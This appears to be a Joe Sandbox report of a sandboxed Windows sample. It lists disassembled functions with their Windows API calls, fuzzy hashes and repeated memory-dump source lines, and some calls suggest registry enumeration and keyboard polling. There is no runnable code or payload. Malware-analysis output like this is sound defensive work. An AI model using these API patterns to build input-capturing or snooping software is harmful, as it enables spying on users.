OpenProcess.KERNEL32 ref: 00007FF6B5BBE8FA
GetProcessIoCounters.KERNEL32 ref: 00007FF6B5BBE931
CloseHandle.KERNEL32 ref: 00007FF6B5BBEAEE

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
Instruction ID: 2ff256727965daa9d8f988dfa640b1e24e5aaee0f6d36f738dfbb3f5d00fbb84
Opcode Fuzzy Hash: 33f71eaf96c05a677f4ff7f9555289fe157d7a24ae1f8fdeb2073595f7ad5bbf
Instruction Fuzzy Hash: 9A814F22B0869186EB14EF2AD4646ED27A4FB4AFD4F054035DF1DA779BCE79D801C740

Function 00007FF6B5BC02DC Relevance: 7.7, APIs: 5, Instructions: 159registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5BC1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF6B5BBFD7B), ref: 00007FF6B5BC1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF6B5BC03E3
RegOpenKeyExW.ADVAPI32 ref: 00007FF6B5BC043A
RegEnumValueW.ADVAPI32 ref: 00007FF6B5BC04A3
RegCloseKey.ADVAPI32 ref: 00007FF6B5BC04F4
RegCloseKey.ADVAPI32 ref: 00007FF6B5BC0503

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 3451389628-0
Opcode ID: ea71e9f73f70926a53419fade0107dc191ca266b6e1703fbb57f8f6819cd1ab3
Instruction ID: 26cf796607efcae09cc09ce7560306ecc47c6caafb29d9be7107cf2e337c31ed
Opcode Fuzzy Hash: ea71e9f73f70926a53419fade0107dc191ca266b6e1703fbb57f8f6819cd1ab3
Instruction Fuzzy Hash: 46712B72B08A468AEB10DF69D0A13FD2770EB86B88F418131DB0D97A9BCF38D945C754

Function 00007FF6B5B5E67C Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(00000000,00000010,-00000090,00007FF6B5B5EEAF), ref: 00007FF6B5B5E6D9
WideCharToMultiByte.KERNEL32 ref: 00007FF6B5B5E7B5
WriteFile.KERNEL32 ref: 00007FF6B5B5E7DB
WriteFile.KERNEL32 ref: 00007FF6B5B5E81A
GetLastError.KERNEL32 ref: 00007FF6B5B5E852

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
Instruction ID: dcd32c4a796b3d8c6197d400610b669ca0b62aac0f359ec3aa16958189d40cce
Opcode Fuzzy Hash: 565e37f08fcc29d8b24d7793246010796331880618d15c7c8224c4ccd3a000f5
Instruction Fuzzy Hash: E251BF32E14A5189E714CB29E4A43EC7BB1FB49B98F048176CF4E8769ADF38D946C700

Function 00007FF6B5BC0084 Relevance: 7.6, APIs: 5, Instructions: 141registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6B5BC1110: CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF6B5BBFD7B), ref: 00007FF6B5BC1143

RegConnectRegistryW.ADVAPI32 ref: 00007FF6B5BC0189
RegOpenKeyExW.ADVAPI32 ref: 00007FF6B5BC01E6
RegEnumKeyExW.ADVAPI32 ref: 00007FF6B5BC0250
RegCloseKey.ADVAPI32 ref: 00007FF6B5BC028D
RegCloseKey.ADVAPI32 ref: 00007FF6B5BC029D

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 3740051246-0
Opcode ID: bd38130d0a6c74a4fb364d1ff2c50e7e9d7a3923237d5797147a29dace5ff8d3
Instruction ID: ddc3ceeffd65e4c3c6baf93fac03c5d902ba57ccbaf7b812b4383231f809a925
Opcode Fuzzy Hash: bd38130d0a6c74a4fb364d1ff2c50e7e9d7a3923237d5797147a29dace5ff8d3
Instruction Fuzzy Hash: E3618132A08A8685EB10DB69D4643FD7B60FB86B84F404131EB4D87AABCF7CD945CB54

Function 00007FF6B5B9670C Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 00007FF6B5B9674B
VariantClear.OLEAUT32 ref: 00007FF6B5B967C5
VariantClear.OLEAUT32 ref: 00007FF6B5B96826
VariantClear.OLEAUT32 ref: 00007FF6B5B968B4
VariantChangeType.OLEAUT32 ref: 00007FF6B5B968E5

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
Instruction ID: 19ee33f5bcaa102aac1d3a07aefad70f9b17e0abdc2a78f9ac0bdf197a385cff
Opcode Fuzzy Hash: 5bf158a84cb56ccb7168b4d37c167f5e8b54303454597cac92653ddc8f5d8736
Instruction Fuzzy Hash: 19516533624A8592DB10CF19D4A47AD33B4FB94F84F428126CB8D83769EF39E859C701

Function 00007FF6B5BA96A8 Relevance: 7.6, APIs: 5, Instructions: 128COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32 ref: 00007FF6B5BA9785
GetPrivateProfileSectionW.KERNEL32 ref: 00007FF6B5BA97BA
WritePrivateProfileSectionW.KERNEL32 ref: 00007FF6B5BA980F
WritePrivateProfileStringW.KERNEL32 ref: 00007FF6B5BA9836
WritePrivateProfileStringW.KERNEL32 ref: 00007FF6B5BA9848

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 95fb2e0a0683671ba085f2766c906dafb1032fc97baa3117c4aba2321f0fd2dc
Instruction ID: c14a54b5dd196bd0a483bc9cc332a13cc45c6f87cae910cbdf47ad4ae65f9d65
Opcode Fuzzy Hash: 95fb2e0a0683671ba085f2766c906dafb1032fc97baa3117c4aba2321f0fd2dc
Instruction Fuzzy Hash: 0E512D26A18A4682EB14DF1AD4A05AD7760FB89FD4F448032EF8E8776ACF3DD844C710

Function 00007FF6B5B21CEC Relevance: 7.6, APIs: 5, Instructions: 124keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 00007FF6B5B21D1B
ScreenToClient.USER32 ref: 00007FF6B5B21D3A
GetAsyncKeyState.USER32 ref: 00007FF6B5B21D62
GetAsyncKeyState.USER32 ref: 00007FF6B5B21D82

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction ID: aa14c8724b122b51b4ed974bca5600c02657359fe9581e46e9e3638b27a2fea7
Opcode Fuzzy Hash: 66afa1c94deaf905156041cf676ffe3a2b02e9b0039980c06c23d4dff2918920
Instruction Fuzzy Hash: 9351C332B09681CBE754CF39D5605E97760FB46B94F100231EB5A83BDACF38E8518B10

Function 00007FF6B5B5BA2C Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF6B5B5BB4E

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction ID: 63d84031a38b91df518d1fc35e12e9b5246e38626450fcca63028ed162eace89
Opcode Fuzzy Hash: a18f96543d52060ea1fb4eaea9751658dcb69330229f7bbe75e5b271c8b8e6e3
Instruction Fuzzy Hash: 45418261B09A4681FA199F1AA8346F56391FF49F90F198535DF1ECB69EDF7CE8008300

Function 00007FF6B5BCFF50 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

ShowWindow.USER32 ref: 00007FF6B5BCFFE7
EnableWindow.USER32 ref: 00007FF6B5BD0012
ShowWindow.USER32 ref: 00007FF6B5BD007C
ShowWindow.USER32 ref: 00007FF6B5BD0098
EnableWindow.USER32 ref: 00007FF6B5BD00C6

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$Show$Enable
String ID:
API String ID: 2939132127-0
Opcode ID: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction ID: 2d30e5ca37582b343f9b363eb7900c025ebadb76ff22e2842f8ff388b5d2bea9
Opcode Fuzzy Hash: c489c8d02495f69c1778672d4edb055e6fea3c7ece5ab9feb79cbeb3e5804fe0
Instruction Fuzzy Hash: B451633694968E85EB52CB1DD4646B83761EB86F84F184036CB4D973EAEF3DE841C310

Function 00007FF6B5B8D924 Relevance: 7.6, APIs: 5, Instructions: 91sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?,?,?,?,00007FF6B5B8D8F3), ref: 00007FF6B5B8D952
PostMessageW.USER32 ref: 00007FF6B5B8D9F2
Sleep.KERNEL32(?,?,?,?,?,00007FF6B5B8D8F3), ref: 00007FF6B5B8D9FA
PostMessageW.USER32 ref: 00007FF6B5B8DA0D
Sleep.KERNEL32(?,?,?,?,?,00007FF6B5B8D8F3), ref: 00007FF6B5B8DA15

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
Instruction ID: ed4854976088dd4bd29f791880dd7ecae4fed78b0e847f650dc2618987d6fc0e
Opcode Fuzzy Hash: 53e5e18aae174657f43a3affddf2552eb5f4829ae1ffd7803c72ea05724a17bc
Instruction Fuzzy Hash: 9C31D4366086068AE710CB1DE4545A97391E789FA8F500232EF6EC779ACE3CEC458700

Function 00007FF6B5BA3824 Relevance: 7.6, APIs: 5, Instructions: 89windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00007FF6B5BA3889
TranslateAcceleratorW.USER32 ref: 00007FF6B5BA38E9
TranslateMessage.USER32 ref: 00007FF6B5BA3916
DispatchMessageW.USER32 ref: 00007FF6B5BA3921
PeekMessageW.USER32 ref: 00007FF6B5BA3938

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction ID: 028b1dbf5d5a7e81b448c49db14762168ad29709fbbae0a865ac882b04e217b3
Opcode Fuzzy Hash: c134d4337344e0b5e6f60fa6ff3406e13c81d8ed9a5a6472cdeb4b0526b89ef4
Instruction Fuzzy Hash: 13412C23D0D69686FBA18B2C94697F926A1AF46F44F581039D74EC61EFCF2DEC858700

Function 00007FF6B5B91B34 Relevance: 7.6, APIs: 5, Instructions: 74windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00007FF6B5B91B6A
SendMessageW.USER32 ref: 00007FF6B5B91B93
SendMessageW.USER32 ref: 00007FF6B5B91BD8
CharUpperBuffW.USER32 ref: 00007FF6B5B91BFC
wcsstr.LIBVCRUNTIME ref: 00007FF6B5B91C09

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindowwcsstr
String ID:
API String ID: 2655805287-0
Opcode ID: b5ab547c948b7cef08c9277144327c084d2ec7411446b628b916d0c489a33ceb
Instruction ID: 9729f4b9dc036c8857ffd5e672ad184b9a74db6bec99506d0113b7744cfb2a79
Opcode Fuzzy Hash: b5ab547c948b7cef08c9277144327c084d2ec7411446b628b916d0c489a33ceb
Instruction Fuzzy Hash: A921F722B0978246EB14DB1AA9256B566A0FF8AFE0F444530EF1DC77DBDE3CE8508340

Function 00007FF6B5B22370 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

ExtCreatePen.GDI32 ref: 00007FF6B5B223FF
SelectObject.GDI32 ref: 00007FF6B5B22412
BeginPath.GDI32 ref: 00007FF6B5B2242B
SelectObject.GDI32 ref: 00007FF6B5B22452

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: ObjectSelect$BeginCreatePath
String ID:
API String ID: 3225163088-0
Opcode ID: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction ID: 7bf63f7121e543d6027afcb825ab29e3ebc073121253ad59a420d4bb7134dcdd
Opcode Fuzzy Hash: 8abe7a71c66bee896d504cb3d5ab816aa1492e552a9085df695a80683d63dbe3
Instruction Fuzzy Hash: 3931903291875287E3808B0AA8553A9BAA2FB45F80F504139DB89D679ACF7DEC418B04

Function 00007FF6B5BB2E64 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 00007FF6B5BB2E96
GetForegroundWindow.USER32 ref: 00007FF6B5BB2EAF
GetDC.USER32 ref: 00007FF6B5BB2EF2
GetPixel.GDI32 ref: 00007FF6B5BB2F03
ReleaseDC.USER32 ref: 00007FF6B5BB2F3B

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
Instruction ID: 12941600e1d47233bd60295d7fc64a1237a775730b9e4a104c1b1cd018c63dab
Opcode Fuzzy Hash: 0803af3d0555ee4f2e7cd4680bdbd11eb807c22797343ae4eaf726b5c3b1d4d7
Instruction Fuzzy Hash: 3B217422B0964582E704EF2AD4A44BDA3A0FB8AF90B084035DF4DC779ADF79D8428740

Function 00007FF6B5B51F44 Relevance: 7.6, APIs: 5, Instructions: 60threadCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B51F68
CreateThread.KERNEL32 ref: 00007FF6B5B51FA9
GetLastError.KERNEL32 ref: 00007FF6B5B51FB7
CloseHandle.KERNEL32 ref: 00007FF6B5B51FD4
FreeLibrary.KERNEL32 ref: 00007FF6B5B51FE3

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: CloseCreateErrorFreeHandleLastLibraryThread_invalid_parameter_noinfo
String ID:
API String ID: 2067211477-0
Opcode ID: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction ID: deb762f3727dbca3e4b7ead4e93a910287a72ce68653a19a582b3b7d49dbe87e
Opcode Fuzzy Hash: 6c75004fdc8f89f48edb4038dcc6ab145b99058f26a8cd052d9a22877b7c3d52
Instruction Fuzzy Hash: A3214125A09B8285EE59DB69F4705F9A290AF86F80F084530EB4E8779EDF2CEC008610

Function 00007FF6B5B5F9D4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF6B5B5F9FB
_set_statfp.LIBCMT ref: 00007FF6B5B5FA16
_set_statfp.LIBCMT ref: 00007FF6B5B5FA32
_set_statfp.LIBCMT ref: 00007FF6B5B5FA6E

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442299612.00007FF6B5C14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7ff6b5b20000_dqcwif.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction ID: a4066318a4f271aa457e87ea0034f3badea234ae0dfce82ae78e46e45bf59ea3
Opcode Fuzzy Hash: e270cafaa1c1bb403facffb31b6a836e27aa4e45b093d38abbba4bbe7c8013ef
Instruction Fuzzy Hash: 1111BFA6E2968345FA5C212CF4723F591626F47BA0F054230EF6EC66DF8E1CAC408102

Function 00007FF6B5B45244 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

_set_fmode.LIBCMT ref: 00007FF6B5B4525B
__scrt_initialize_onexit_tables.LIBCMT ref: 00007FF6B5B45274
_RTC_Initialize.LIBCMT ref: 00007FF6B5B4527D

Part of subcall function 00007FF6B5B44F0C: _onexit.LIBCMT ref: 00007FF6B5B44F10

Part of subcall function 00007FF6B5B5A09C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6B5B5A0C6

__scrt_fastfail.LIBCMT ref: 00007FF6B5B452F5
__scrt_initialize_default_local_stdio_options.LIBCMT ref: 00007FF6B5B45300

Memory Dump Source

Source File: 00000013.00000002.2440891490.00007FF6B5B21000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF6B5B20000, based on PE: true

Associated: 00000013.00000002.2440806589.00007FF6B5B20000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BD5000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2441812857.00007FF6B5BF8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000013.00000002.2442261072.00007FF6B5C0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
